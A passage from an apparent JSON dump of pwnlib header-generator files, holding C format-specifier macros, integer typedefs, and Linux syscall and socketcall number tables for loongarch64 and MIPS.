PRIXFAST8\t\"X\"\n# define PRIXFAST16\t\"X\"\n# define PRIXFAST32\t\"X\"\n# define PRIXFAST64\t__PRI64_PREFIX \"X\"\n\n\n/* Macros for printing `intmax_t' and `uintmax_t'.  */\n# define PRIdMAX\t__PRI64_PREFIX \"d\"\n# define PRIiMAX\t__PRI64_PREFIX \"i\"\n# define PRIoMAX\t__PRI64_PREFIX \"o\"\n# define PRIuMAX\t__PRI64_PREFIX \"u\"\n# define PRIxMAX\t__PRI64_PREFIX \"x\"\n# define PRIXMAX\t__PRI64_PREFIX \"X\"\n\n\n/* Macros for printing `intptr_t' and `uintptr_t'.  */\n# define PRIdPTR\t__PRIPTR_PREFIX \"d\"\n# define PRIiPTR\t__PRIPTR_PREFIX \"i\"\n# define PRIoPTR\t__PRIPTR_PREFIX \"o\"\n# define PRIuPTR\t__PRIPTR_PREFIX \"u\"\n# define PRIxPTR\t__PRIPTR_PREFIX \"x\"\n# define PRIXPTR\t__PRIPTR_PREFIX \"X\"\n\n\n/* Macros for scanning format specifiers.  */\n\n/* Signed decimal notation.  */\n# define SCNd8\t\t\"hhd\"\n# define SCNd16\t\t\"hd\"\n# define SCNd32\t\t\"d\"\n# define SCNd64\t\t__PRI64_PREFIX \"d\"\n\n# define SCNdLEAST8\t\"hhd\"\n# define SCNdLEAST16\t\"hd\"\n# define SCNdLEAST32\t\"d\"\n# define SCNdLEAST64\t__PRI64_PREFIX \"d\"\n\n# define SCNdFAST8\t\"hhd\"\n# define SCNdFAST16\t__PRIPTR_PREFIX \"d\"\n# define SCNdFAST32\t__PRIPTR_PREFIX \"d\"\n# define SCNdFAST64\t__PRI64_PREFIX \"d\"\n\n/* Signed decimal notation.  */\n# define SCNi8\t\t\"hhi\"\n# define SCNi16\t\t\"hi\"\n# define SCNi32\t\t\"i\"\n# define SCNi64\t\t__PRI64_PREFIX \"i\"\n\n# define SCNiLEAST8\t\"hhi\"\n# define SCNiLEAST16\t\"hi\"\n# define SCNiLEAST32\t\"i\"\n# define SCNiLEAST64\t__PRI64_PREFIX \"i\"\n\n# define SCNiFAST8\t\"hhi\"\n# define SCNiFAST16\t__PRIPTR_PREFIX \"i\"\n# define SCNiFAST32\t__PRIPTR_PREFIX \"i\"\n# define SCNiFAST64\t__PRI64_PREFIX \"i\"\n\n/* Unsigned decimal notation.  */\n# define SCNu8\t\t\"hhu\"\n# define SCNu16\t\t\"hu\"\n# define SCNu32\t\t\"u\"\n# define SCNu64\t\t__PRI64_PREFIX \"u\"\n\n# define SCNuLEAST8\t\"hhu\"\n# define SCNuLEAST16\t\"hu\"\n# define SCNuLEAST32\t\"u\"\n# define SCNuLEAST64\t__PRI64_PREFIX \"u\"\n\n# define SCNuFAST8\t\"hhu\"\n# define SCNuFAST16\t__PRIPTR_PREFIX \"u\"\n# define SCNuFAST32\t__PRIPTR_PREFIX \"u\"\n# define SCNuFAST64\t__PRI64_PREFIX \"u\"\n\n/* Octal notation.  */\n# define SCNo8\t\t\"hho\"\n# define SCNo16\t\t\"ho\"\n# define SCNo32\t\t\"o\"\n# define SCNo64\t\t__PRI64_PREFIX \"o\"\n\n# define SCNoLEAST8\t\"hho\"\n# define SCNoLEAST16\t\"ho\"\n# define SCNoLEAST32\t\"o\"\n# define SCNoLEAST64\t__PRI64_PREFIX \"o\"\n\n# define SCNoFAST8\t\"hho\"\n# define SCNoFAST16\t__PRIPTR_PREFIX \"o\"\n# define SCNoFAST32\t__PRIPTR_PREFIX \"o\"\n# define SCNoFAST64\t__PRI64_PREFIX \"o\"\n\n/* Hexadecimal notation.  */\n# define SCNx8\t\t\"hhx\"\n# define SCNx16\t\t\"hx\"\n# define SCNx32\t\t\"x\"\n# define SCNx64\t\t__PRI64_PREFIX \"x\"\n\n# define SCNxLEAST8\t\"hhx\"\n# define SCNxLEAST16\t\"hx\"\n# define SCNxLEAST32\t\"x\"\n# define SCNxLEAST64\t__PRI64_PREFIX \"x\"\n\n# define SCNxFAST8\t\"hhx\"\n# define SCNxFAST16\t__PRIPTR_PREFIX \"x\"\n# define SCNxFAST32\t__PRIPTR_PREFIX \"x\"\n# define SCNxFAST64\t__PRI64_PREFIX \"x\"\n\n\n/* Macros for scanning `intmax_t' and `uintmax_t'.  */\n# define SCNdMAX\t__PRI64_PREFIX \"d\"\n# define SCNiMAX\t__PRI64_PREFIX \"i\"\n# define SCNoMAX\t__PRI64_PREFIX \"o\"\n# define SCNuMAX\t__PRI64_PREFIX \"u\"\n# define SCNxMAX\t__PRI64_PREFIX \"x\"\n\n/* Macros for scanning `intptr_t' and `uintptr_t'.  */\n# define SCNdPTR\t__PRIPTR_PREFIX \"d\"\n# define SCNiPTR\t__PRIPTR_PREFIX \"i\"\n# define SCNoPTR\t__PRIPTR_PREFIX \"o\"\n# define SCNuPTR\t__PRIPTR_PREFIX \"u\"\n# define SCNxPTR\t__PRIPTR_PREFIX \"x\"\n\ntypedef signed char int8_t;\n#if defined(__SHRT_MAX__) && (__SHRT_MAX__ + 0 != 32767)\ntypedef int int16_t __attribute__((__mode__(__HI__)));\n#else\ntypedef signed short int16_t;\n#endif\n#if defined(__INT_MAX__) && (__INT_MAX__ + 0 != 2147483647)\ntypedef int int32_t __attribute__((__mode__(__SI__)));\n#else\ntypedef signed int int32_t;\n#endif\n\ntypedef unsigned char uint8_t;\n#if defined(__SHRT_MAX__) && (__SHRT_MAX__ + 0 != 32767)\ntypedef unsigned int uint16_t __attribute__((__mode__(__HI__)));\n#else\ntypedef unsigned short uint16_t;\n#endif\n#if defined(__INT_MAX__) && (__INT_MAX__ + 0 != 2147483647)\ntypedef unsigned int uint32_t __attribute__((__mode__(__SI__)));\n#else\ntypedef unsigned int uint32_t;\n#endif\n\n#if __WORDSIZE == 64\ntypedef signed long int64_t;\ntypedef unsigned long uint64_t;\ntypedef signed long intmax_t;\ntypedef unsigned long uintmax_t;\n#else\n__extension__ typedef signed long long int64_t;\n__extension__ typedef unsigned long long uint64_t;\n__extension__ typedef signed long long int intmax_t;\n__extension__ typedef unsigned long long int uintmax_t;\n#endif\n\n#ifdef __INTPTR_TYPE__\ntypedef __INTPTR_TYPE__ intptr_t;\ntypedef __UINTPTR_TYPE__ uintptr_t;\n#else\ntypedef __SIZE_TYPE__ uintptr_t;\ntypedef __PTRDIFF_TYPE__ intptr_t;\n#endif\n\nintmax_t strtoimax (const char *nptr, char **endptr, int base);\nuintmax_t strtoumax (const char *nptr, char **endptr, int base);\n\nintmax_t imaxabs(intmax_t j) __attribute_const__;\ntypedef struct { intmax_t quot,rem; } imaxdiv_t;\nimaxdiv_t imaxdiv(intmax_t numerator, intmax_t denominator) __attribute_const__;\n\n#include <stdint.h>\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/linuxnet.h",
    "content": "\n#define SYS_SOCKET\t1\t\t/* sys_socket(2)\t\t*/\n#define SYS_BIND\t2\t\t/* sys_bind(2)\t\t\t*/\n#define SYS_CONNECT\t3\t\t/* sys_connect(2)\t\t*/\n#define SYS_LISTEN\t4\t\t/* sys_listen(2)\t\t*/\n#define SYS_ACCEPT\t5\t\t/* sys_accept(2)\t\t*/\n#define SYS_GETSOCKNAME\t6\t\t/* sys_getsockname(2)\t\t*/\n#define SYS_GETPEERNAME\t7\t\t/* sys_getpeername(2)\t\t*/\n#define SYS_SOCKETPAIR\t8\t\t/* sys_socketpair(2)\t\t*/\n#define SYS_SEND\t9\t\t/* sys_send(2)\t\t\t*/\n#define SYS_RECV\t10\t\t/* sys_recv(2)\t\t\t*/\n#define SYS_SENDTO\t11\t\t/* sys_sendto(2)\t\t*/\n#define SYS_RECVFROM\t12\t\t/* sys_recvfrom(2)\t\t*/\n#define SYS_SHUTDOWN\t13\t\t/* sys_shutdown(2)\t\t*/\n#define SYS_SETSOCKOPT\t14\t\t/* sys_setsockopt(2)\t\t*/\n#define SYS_GETSOCKOPT\t15\t\t/* sys_getsockopt(2)\t\t*/\n#define SYS_SENDMSG\t16\t\t/* sys_sendmsg(2)\t\t*/\n#define SYS_RECVMSG\t17\t\t/* sys_recvmsg(2)\t\t*/\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/loongarch64/syscalls.h",
    "content": "#define __NR_io_setup                   0\n#define __NR_io_destroy                 1\n#define __NR_io_submit                  2\n#define __NR_io_cancel                  3\n#define __NR_io_getevents               4\n#define __NR_setxattr                   5\n#define __NR_lsetxattr                  6\n#define __NR_fsetxattr                  7\n#define __NR_getxattr                   8\n#define __NR_lgetxattr                  9\n#define __NR_fgetxattr                  10\n#define __NR_listxattr                  11\n#define __NR_llistxattr                 12\n#define __NR_flistxattr                 13\n#define __NR_removexattr                14\n#define __NR_lremovexattr               15\n#define __NR_fremovexattr               16\n#define __NR_getcwd                     17\n#define __NR_lookup_dcookie             18\n#define __NR_eventfd2                   19\n#define __NR_epoll_create1              20\n#define __NR_epoll_ctl                  21\n#define __NR_epoll_pwait                22\n#define __NR_dup                        23\n#define __NR_dup3                       24\n#define __NR3264_fcntl                  25\n#define __NR_inotify_init1              26\n#define __NR_inotify_add_watch          27\n#define __NR_inotify_rm_watch           28\n#define __NR_ioctl                      29\n#define __NR_ioprio_set                 30\n#define __NR_ioprio_get                 31\n#define __NR_flock                      32\n#define __NR_mknodat                    33\n#define __NR_mkdirat                    34\n#define __NR_unlinkat                   35\n#define __NR_symlinkat                  36\n#define __NR_linkat                     37\n#define __NR_umount2                    39\n#define __NR_mount                      40\n#define __NR_pivot_root                 41\n#define __NR_nfsservctl                 42\n#define __NR3264_statfs                 43\n#define __NR3264_fstatfs                44\n#define __NR3264_truncate               45\n#define __NR3264_ftruncate              46\n#define __NR_fallocate                  47\n#define __NR_faccessat                  48\n#define __NR_chdir                      49\n#define __NR_fchdir                     50\n#define __NR_chroot                     51\n#define __NR_fchmod                     52\n#define __NR_fchmodat                   53\n#define __NR_fchownat                   54\n#define __NR_fchown                     55\n#define __NR_openat                     56\n#define __NR_close                      57\n#define __NR_vhangup                    58\n#define __NR_pipe2                      59\n#define __NR_quotactl                   60\n#define __NR_getdents64                 61\n#define __NR3264_lseek                  62\n#define __NR_read                       63\n#define __NR_write                      64\n#define __NR_readv                      65\n#define __NR_writev                     66\n#define __NR_pread64                    67\n#define __NR_pwrite64                   68\n#define __NR_preadv                     69\n#define __NR_pwritev                    70\n#define __NR3264_sendfile               71\n#define __NR_pselect6                   72\n#define __NR_ppoll                      73\n#define __NR_signalfd4                  74\n#define __NR_vmsplice                   75\n#define __NR_splice                     76\n#define __NR_tee                        77\n#define __NR_readlinkat                 78\n#define __NR_sync                       81\n#define __NR_fsync                      82\n#define __NR_fdatasync                  83\n#define __NR_sync_file_range            84\n#define __NR_timerfd_create             85\n#define __NR_timerfd_settime            86\n#define __NR_timerfd_gettime            87\n#define __NR_utimensat                  88\n#define __NR_acct                       89\n#define __NR_capget                     90\n#define __NR_capset                     91\n#define __NR_personality                92\n#define __NR_exit                       93\n#define __NR_exit_group                 94\n#define __NR_waitid                     95\n#define __NR_set_tid_address            96\n#define __NR_unshare                    97\n#define __NR_futex                      98\n#define __NR_set_robust_list            99\n#define __NR_get_robust_list            100\n#define __NR_nanosleep                  101\n#define __NR_getitimer                  102\n#define __NR_setitimer                  103\n#define __NR_kexec_load                 104\n#define __NR_init_module                105\n#define __NR_delete_module              106\n#define __NR_timer_create               107\n#define __NR_timer_gettime              108\n#define __NR_timer_getoverrun           109\n#define __NR_timer_settime              110\n#define __NR_timer_delete               111\n#define __NR_clock_settime              112\n#define __NR_clock_gettime              113\n#define __NR_clock_getres               114\n#define __NR_clock_nanosleep            115\n#define __NR_syslog                     116\n#define __NR_ptrace                     117\n#define __NR_sched_setparam             118\n#define __NR_sched_setscheduler         119\n#define __NR_sched_getscheduler         120\n#define __NR_sched_getparam             121\n#define __NR_sched_setaffinity          122\n#define __NR_sched_getaffinity          123\n#define __NR_sched_yield                124\n#define __NR_sched_get_priority_max     125\n#define __NR_sched_get_priority_min     126\n#define __NR_sched_rr_get_interval      127\n#define __NR_restart_syscall            128\n#define __NR_kill                       129\n#define __NR_tkill                      130\n#define __NR_tgkill                     131\n#define __NR_sigaltstack                132\n#define __NR_rt_sigsuspend              133\n#define __NR_rt_sigaction               134\n#define __NR_rt_sigprocmask             135\n#define __NR_rt_sigpending              136\n#define __NR_rt_sigtimedwait            137\n#define __NR_rt_sigqueueinfo            138\n#define __NR_rt_sigreturn               139\n#define __NR_setpriority                140\n#define __NR_getpriority                141\n#define __NR_reboot                     142\n#define __NR_setregid                   143\n#define __NR_setgid                     144\n#define __NR_setreuid                   145\n#define __NR_setuid                     146\n#define __NR_setresuid                  147\n#define __NR_getresuid                  148\n#define __NR_setresgid                  149\n#define __NR_getresgid                  150\n#define __NR_setfsuid                   151\n#define __NR_setfsgid                   152\n#define __NR_times                      153\n#define __NR_setpgid                    154\n#define __NR_getpgid                    155\n#define __NR_getsid                     156\n#define __NR_setsid                     157\n#define __NR_getgroups                  158\n#define __NR_setgroups                  159\n#define __NR_uname                      160\n#define __NR_sethostname                161\n#define __NR_setdomainname              162\n#define __NR_getrusage                  165\n#define __NR_umask                      166\n#define __NR_prctl                      167\n#define __NR_getcpu                     168\n#define __NR_gettimeofday               169\n#define __NR_settimeofday               170\n#define __NR_adjtimex                   171\n#define __NR_getpid                     172\n#define __NR_getppid                    173\n#define __NR_getuid                     174\n#define __NR_geteuid                    175\n#define __NR_getgid                     176\n#define __NR_getegid                    177\n#define __NR_gettid                     178\n#define __NR_sysinfo                    179\n#define __NR_mq_open                    180\n#define __NR_mq_unlink                  181\n#define __NR_mq_timedsend               182\n#define __NR_mq_timedreceive            183\n#define __NR_mq_notify                  184\n#define __NR_mq_getsetattr              185\n#define __NR_msgget                     186\n#define __NR_msgctl                     187\n#define __NR_msgrcv                     188\n#define __NR_msgsnd                     189\n#define __NR_semget                     190\n#define __NR_semctl                     191\n#define __NR_semtimedop                 192\n#define __NR_semop                      193\n#define __NR_shmget                     194\n#define __NR_shmctl                     195\n#define __NR_shmat                      196\n#define __NR_shmdt                      197\n#define __NR_socket                     198\n#define __NR_socketpair                 199\n#define __NR_bind                       200\n#define __NR_listen                     201\n#define __NR_accept                     202\n#define __NR_connect                    203\n#define __NR_getsockname                204\n#define __NR_getpeername                205\n#define __NR_sendto                     206\n#define __NR_recvfrom                   207\n#define __NR_setsockopt                 208\n#define __NR_getsockopt                 209\n#define __NR_shutdown                   210\n#define __NR_sendmsg                    211\n#define __NR_recvmsg                    212\n#define __NR_readahead                  213\n#define __NR_brk                        214\n#define __NR_munmap                     215\n#define __NR_mremap                     216\n#define __NR_add_key                    217\n#define __NR_request_key                218\n#define __NR_keyctl                     219\n#define __NR_clone                      220\n#define __NR_execve                     221\n#define __NR3264_mmap                   222\n#define __NR3264_fadvise64              223\n#define __NR_swapon                     224\n#define __NR_swapoff                    225\n#define __NR_mprotect                   226\n#define __NR_msync                      227\n#define __NR_mlock                      228\n#define __NR_munlock                    229\n#define __NR_mlockall                   230\n#define __NR_munlockall                 231\n#define __NR_mincore                    232\n#define __NR_madvise                    233\n#define __NR_remap_file_pages           234\n#define __NR_mbind                      235\n#define __NR_get_mempolicy              236\n#define __NR_set_mempolicy              237\n#define __NR_migrate_pages              238\n#define __NR_move_pages                 239\n#define __NR_rt_tgsigqueueinfo          240\n#define __NR_perf_event_open            241\n#define __NR_accept4                    242\n#define __NR_recvmmsg                   243\n#define __NR_arch_specific_syscall      244\n#define __NR_wait4                      260\n#define __NR_prlimit64                  261\n#define __NR_fanotify_init              262\n#define __NR_fanotify_mark              263\n#define __NR_name_to_handle_at          264\n#define __NR_open_by_handle_at          265\n#define __NR_clock_adjtime              266\n#define __NR_syncfs                     267\n#define __NR_setns                      268\n#define __NR_sendmmsg                   269\n#define __NR_process_vm_readv           270\n#define __NR_process_vm_writev          271\n#define __NR_kcmp                       272\n#define __NR_finit_module               273\n#define __NR_sched_setattr              274\n#define __NR_sched_getattr              275\n#define __NR_renameat2                  276\n#define __NR_seccomp                    277\n#define __NR_getrandom                  278\n#define __NR_memfd_create               279\n#define __NR_bpf                        280\n#define __NR_execveat                   281\n#define __NR_userfaultfd                282\n#define __NR_membarrier                 283\n#define __NR_mlock2                     284\n#define __NR_copy_file_range            285\n#define __NR_preadv2                    286\n#define __NR_pwritev2                   287\n#define __NR_pkey_mprotect              288\n#define __NR_pkey_alloc                 289\n#define __NR_pkey_free                  290\n#define __NR_statx                      291\n#define __NR_io_pgetevents              292\n#define __NR_rseq                       293\n#define __NR_kexec_file_load            294\n#define __NR_pidfd_send_signal          424\n#define __NR_io_uring_setup             425\n#define __NR_io_uring_enter             426\n#define __NR_io_uring_register          427\n#define __NR_open_tree                  428\n#define __NR_move_mount                 429\n#define __NR_fsopen                     430\n#define __NR_fsconfig                   431\n#define __NR_fsmount                    432\n#define __NR_fspick                     433\n#define __NR_pidfd_open                 434\n#define __NR_clone3                     435\n#define __NR_close_range                436\n#define __NR_openat2                    437\n#define __NR_pidfd_getfd                438\n#define __NR_faccessat2                 439\n#define __NR_process_madvise            440\n#define __NR_epoll_pwait2               441\n#define __NR_mount_setattr              442\n#define __NR_quotactl_fd                443\n#define __NR_landlock_create_ruleset    444\n#define __NR_landlock_add_rule          445\n#define __NR_landlock_restrict_self     446\n#define __NR_process_mrelease           448\n#define __NR_futex_waitv                449\n#define __NR_set_mempolicy_home_node    450\n#define __NR_cachestat                  451\n#define __NR_fchmodat2                  452\n#define __NR_map_shadow_stack           453\n#define __NR_futex_wake                 454\n#define __NR_futex_wait                 455\n#define __NR_futex_requeue              456\n#define __NR_fcntl                      __NR3264_fcntl\n#define __NR_statfs                     __NR3264_statfs\n#define __NR_fstatfs                    __NR3264_fstatfs\n#define __NR_truncate                   __NR3264_truncate\n#define __NR_ftruncate                  __NR3264_ftruncate\n#define __NR_lseek                      __NR3264_lseek\n#define __NR_sendfile                   __NR3264_sendfile\n#define __NR_mmap                       __NR3264_mmap\n#define __NR_fadvise64                  __NR3264_fadvise64\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/mips/mips-asm.h",
    "content": "#ifndef DIET_MIPS_ASM_H\n#define DIET_MIPS_ASM_H\n\n#ifdef __ASSEMBLER__\n#if _MIPS_SIM == _ABI64\n\n#define PTR_LA    dla\n#define PTR_SW    sd\n#define PTR_LL    lld\n#define PTR_SC    scd\n#define PTR_LW    ld\n#define PTR_SLL   dsll\n#define PTR_ADD   dadd\n\n#else\n\n#define PTR_LA    la\n#define PTR_SW    sw\n#define PTR_LL    ll\n#define PTR_SC    sc\n#define PTR_LW    lw\n#define PTR_SLL   sll\n#define PTR_ADD   add\n\n#endif\n#endif /* __ASSEMBLER__ */\n\n#endif /* DIET_MIPS_ASM_H */\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/mips/syscalls.h",
    "content": "#if _MIPS_SIM == _ABIO32\n\n/*\n * Linux o32 style syscalls are in the range from 4000 to 4999.\n */\n#define __NR_Linux\t\t\t4000\n#define __NR_syscall\t\t\t(__NR_Linux +\t0)\n#define __NR_exit\t\t\t(__NR_Linux +\t1)\n#define __NR_fork\t\t\t(__NR_Linux +\t2)\n#define __NR_read\t\t\t(__NR_Linux +\t3)\n#define __NR_write\t\t\t(__NR_Linux +\t4)\n#define __NR_open\t\t\t(__NR_Linux +\t5)\n#define __NR_close\t\t\t(__NR_Linux +\t6)\n#define __NR_waitpid\t\t\t(__NR_Linux +\t7)\n#define __NR_creat\t\t\t(__NR_Linux +\t8)\n#define __NR_link\t\t\t(__NR_Linux +\t9)\n#define __NR_unlink\t\t\t(__NR_Linux +  10)\n#define __NR_execve\t\t\t(__NR_Linux +  11)\n#define __NR_chdir\t\t\t(__NR_Linux +  12)\n#define __NR_time\t\t\t(__NR_Linux +  13)\n#define __NR_mknod\t\t\t(__NR_Linux +  14)\n#define __NR_chmod\t\t\t(__NR_Linux +  15)\n#define __NR_lchown\t\t\t(__NR_Linux +  16)\n#define __NR_break\t\t\t(__NR_Linux +  17)\n#define __NR_unused18\t\t\t(__NR_Linux +  18)\n#define __NR_lseek\t\t\t(__NR_Linux +  19)\n#define __NR_getpid\t\t\t(__NR_Linux +  20)\n#define __NR_mount\t\t\t(__NR_Linux +  21)\n#define __NR_umount\t\t\t(__NR_Linux +  22)\n#define __NR_setuid\t\t\t(__NR_Linux +  23)\n#define __NR_getuid\t\t\t(__NR_Linux +  24)\n#define __NR_stime\t\t\t(__NR_Linux +  25)\n#define __NR_ptrace\t\t\t(__NR_Linux +  26)\n#define __NR_alarm\t\t\t(__NR_Linux +  27)\n#define __NR_unused28\t\t\t(__NR_Linux +  28)\n#define __NR_pause\t\t\t(__NR_Linux +  29)\n#define __NR_utime\t\t\t(__NR_Linux +  30)\n#define __NR_stty\t\t\t(__NR_Linux +  31)\n#define __NR_gtty\t\t\t(__NR_Linux +  32)\n#define __NR_access\t\t\t(__NR_Linux +  33)\n#define __NR_nice\t\t\t(__NR_Linux +  34)\n#define __NR_ftime\t\t\t(__NR_Linux +  35)\n#define __NR_sync\t\t\t(__NR_Linux +  36)\n#define __NR_kill\t\t\t(__NR_Linux +  37)\n#define __NR_rename\t\t\t(__NR_Linux +  38)\n#define __NR_mkdir\t\t\t(__NR_Linux +  39)\n#define __NR_rmdir\t\t\t(__NR_Linux +  40)\n#define __NR_dup\t\t\t(__NR_Linux +  41)\n#define __NR_pipe\t\t\t(__NR_Linux +  42)\n#define __NR_times\t\t\t(__NR_Linux +  43)\n#define __NR_prof\t\t\t(__NR_Linux +  44)\n#define __NR_brk\t\t\t(__NR_Linux +  45)\n#define __NR_setgid\t\t\t(__NR_Linux +  46)\n#define __NR_getgid\t\t\t(__NR_Linux +  47)\n#define __NR_signal\t\t\t(__NR_Linux +  48)\n#define __NR_geteuid\t\t\t(__NR_Linux +  49)\n#define __NR_getegid\t\t\t(__NR_Linux +  50)\n#define __NR_acct\t\t\t(__NR_Linux +  51)\n#define __NR_umount2\t\t\t(__NR_Linux +  52)\n#define __NR_lock\t\t\t(__NR_Linux +  53)\n#define __NR_ioctl\t\t\t(__NR_Linux +  54)\n#define __NR_fcntl\t\t\t(__NR_Linux +  55)\n#define __NR_mpx\t\t\t(__NR_Linux +  56)\n#define __NR_setpgid\t\t\t(__NR_Linux +  57)\n#define __NR_ulimit\t\t\t(__NR_Linux +  58)\n#define __NR_unused59\t\t\t(__NR_Linux +  59)\n#define __NR_umask\t\t\t(__NR_Linux +  60)\n#define __NR_chroot\t\t\t(__NR_Linux +  61)\n#define __NR_ustat\t\t\t(__NR_Linux +  62)\n#define __NR_dup2\t\t\t(__NR_Linux +  63)\n#define __NR_getppid\t\t\t(__NR_Linux +  64)\n#define __NR_getpgrp\t\t\t(__NR_Linux +  65)\n#define __NR_setsid\t\t\t(__NR_Linux +  66)\n#define __NR_sigaction\t\t\t(__NR_Linux +  67)\n#define __NR_sgetmask\t\t\t(__NR_Linux +  68)\n#define __NR_ssetmask\t\t\t(__NR_Linux +  69)\n#define __NR_setreuid\t\t\t(__NR_Linux +  70)\n#define __NR_setregid\t\t\t(__NR_Linux +  71)\n#define __NR_sigsuspend\t\t\t(__NR_Linux +  72)\n#define __NR_sigpending\t\t\t(__NR_Linux +  73)\n#define __NR_sethostname\t\t(__NR_Linux +  74)\n#define __NR_setrlimit\t\t\t(__NR_Linux +  75)\n#define __NR_getrlimit\t\t\t(__NR_Linux +  76)\n#define __NR_getrusage\t\t\t(__NR_Linux +  77)\n#define __NR_gettimeofday\t\t(__NR_Linux +  78)\n#define __NR_settimeofday\t\t(__NR_Linux +  79)\n#define __NR_getgroups\t\t\t(__NR_Linux +  80)\n#define __NR_setgroups\t\t\t(__NR_Linux +  81)\n#define __NR_reserved82\t\t\t(__NR_Linux +  82)\n#define __NR_symlink\t\t\t(__NR_Linux +  83)\n#define __NR_unused84\t\t\t(__NR_Linux +  84)\n#define __NR_readlink\t\t\t(__NR_Linux +  85)\n#define __NR_uselib\t\t\t(__NR_Linux +  86)\n#define __NR_swapon\t\t\t(__NR_Linux +  87)\n#define __NR_reboot\t\t\t(__NR_Linux +  88)\n#define __NR_readdir\t\t\t(__NR_Linux +  89)\n#define __NR_mmap\t\t\t(__NR_Linux +  90)\n#define __NR_munmap\t\t\t(__NR_Linux +  91)\n#define __NR_truncate\t\t\t(__NR_Linux +  92)\n#define __NR_ftruncate\t\t\t(__NR_Linux +  93)\n#define __NR_fchmod\t\t\t(__NR_Linux +  94)\n#define __NR_fchown\t\t\t(__NR_Linux +  95)\n#define __NR_getpriority\t\t(__NR_Linux +  96)\n#define __NR_setpriority\t\t(__NR_Linux +  97)\n#define __NR_profil\t\t\t(__NR_Linux +  98)\n#define __NR_statfs\t\t\t(__NR_Linux +  99)\n#define __NR_fstatfs\t\t\t(__NR_Linux + 100)\n#define __NR_ioperm\t\t\t(__NR_Linux + 101)\n#define __NR_socketcall\t\t\t(__NR_Linux + 102)\n#define __NR_syslog\t\t\t(__NR_Linux + 103)\n#define __NR_setitimer\t\t\t(__NR_Linux + 104)\n#define __NR_getitimer\t\t\t(__NR_Linux + 105)\n#define __NR_stat\t\t\t(__NR_Linux + 106)\n#define __NR_lstat\t\t\t(__NR_Linux + 107)\n#define __NR_fstat\t\t\t(__NR_Linux + 108)\n#define __NR_unused109\t\t\t(__NR_Linux + 109)\n#define __NR_iopl\t\t\t(__NR_Linux + 110)\n#define __NR_vhangup\t\t\t(__NR_Linux + 111)\n#define __NR_idle\t\t\t(__NR_Linux + 112)\n#define __NR_vm86\t\t\t(__NR_Linux + 113)\n#define __NR_wait4\t\t\t(__NR_Linux + 114)\n#define __NR_swapoff\t\t\t(__NR_Linux + 115)\n#define __NR_sysinfo\t\t\t(__NR_Linux + 116)\n#define __NR_ipc\t\t\t(__NR_Linux + 117)\n#define __NR_fsync\t\t\t(__NR_Linux + 118)\n#define __NR_sigreturn\t\t\t(__NR_Linux + 119)\n#define __NR_clone\t\t\t(__NR_Linux + 120)\n#define __NR_setdomainname\t\t(__NR_Linux + 121)\n#define __NR_uname\t\t\t(__NR_Linux + 122)\n#define __NR_modify_ldt\t\t\t(__NR_Linux + 123)\n#define __NR_adjtimex\t\t\t(__NR_Linux + 124)\n#define __NR_mprotect\t\t\t(__NR_Linux + 125)\n#define __NR_sigprocmask\t\t(__NR_Linux + 126)\n#define __NR_create_module\t\t(__NR_Linux + 127)\n#define __NR_init_module\t\t(__NR_Linux + 128)\n#define __NR_delete_module\t\t(__NR_Linux + 129)\n#define __NR_get_kernel_syms\t\t(__NR_Linux + 130)\n#define __NR_quotactl\t\t\t(__NR_Linux + 131)\n#define __NR_getpgid\t\t\t(__NR_Linux + 132)\n#define __NR_fchdir\t\t\t(__NR_Linux + 133)\n#define __NR_bdflush\t\t\t(__NR_Linux + 134)\n#define __NR_sysfs\t\t\t(__NR_Linux + 135)\n#define __NR_personality\t\t(__NR_Linux + 136)\n#define __NR_afs_syscall\t\t(__NR_Linux + 137) /* Syscall for Andrew File System */\n#define __NR_setfsuid\t\t\t(__NR_Linux + 138)\n#define __NR_setfsgid\t\t\t(__NR_Linux + 139)\n#define __NR__llseek\t\t\t(__NR_Linux + 140)\n#define __NR_getdents\t\t\t(__NR_Linux + 141)\n#define __NR__newselect\t\t\t(__NR_Linux + 142)\n#define __NR_flock\t\t\t(__NR_Linux + 143)\n#define __NR_msync\t\t\t(__NR_Linux + 144)\n#define __NR_readv\t\t\t(__NR_Linux + 145)\n#define __NR_writev\t\t\t(__NR_Linux + 146)\n#define __NR_cacheflush\t\t\t(__NR_Linux + 147)\n#define __NR_cachectl\t\t\t(__NR_Linux + 148)\n#define __NR_sysmips\t\t\t(__NR_Linux + 149)\n#define __NR_unused150\t\t\t(__NR_Linux + 150)\n#define __NR_getsid\t\t\t(__NR_Linux + 151)\n#define __NR_fdatasync\t\t\t(__NR_Linux + 152)\n#define __NR__sysctl\t\t\t(__NR_Linux + 153)\n#define __NR_mlock\t\t\t(__NR_Linux + 154)\n#define __NR_munlock\t\t\t(__NR_Linux + 155)\n#define __NR_mlockall\t\t\t(__NR_Linux + 156)\n#define __NR_munlockall\t\t\t(__NR_Linux + 157)\n#define __NR_sched_setparam\t\t(__NR_Linux + 158)\n#define __NR_sched_getparam\t\t(__NR_Linux + 159)\n#define __NR_sched_setscheduler\t\t(__NR_Linux + 160)\n#define __NR_sched_getscheduler\t\t(__NR_Linux + 161)\n#define __NR_sched_yield\t\t(__NR_Linux + 162)\n#define __NR_sched_get_priority_max\t(__NR_Linux + 163)\n#define __NR_sched_get_priority_min\t(__NR_Linux + 164)\n#define __NR_sched_rr_get_interval\t(__NR_Linux + 165)\n#define __NR_nanosleep\t\t\t(__NR_Linux + 166)\n#define __NR_mremap\t\t\t(__NR_Linux + 167)\n#define __NR_accept\t\t\t(__NR_Linux + 168)\n#define __NR_bind\t\t\t(__NR_Linux + 169)\n#define __NR_connect\t\t\t(__NR_Linux + 170)\n#define __NR_getpeername\t\t(__NR_Linux + 171)\n#define __NR_getsockname\t\t(__NR_Linux + 172)\n#define __NR_getsockopt\t\t\t(__NR_Linux + 173)\n#define __NR_listen\t\t\t(__NR_Linux + 174)\n#define __NR_recv\t\t\t(__NR_Linux + 175)\n#define __NR_recvfrom\t\t\t(__NR_Linux + 176)\n#define __NR_recvmsg\t\t\t(__NR_Linux + 177)\n#define __NR_send\t\t\t(__NR_Linux + 178)\n#define __NR_sendmsg\t\t\t(__NR_Linux + 179)\n#define __NR_sendto\t\t\t(__NR_Linux + 180)\n#define __NR_setsockopt\t\t\t(__NR_Linux + 181)\n#define __NR_shutdown\t\t\t(__NR_Linux + 182)\n#define __NR_socket\t\t\t(__NR_Linux + 183)\n#define 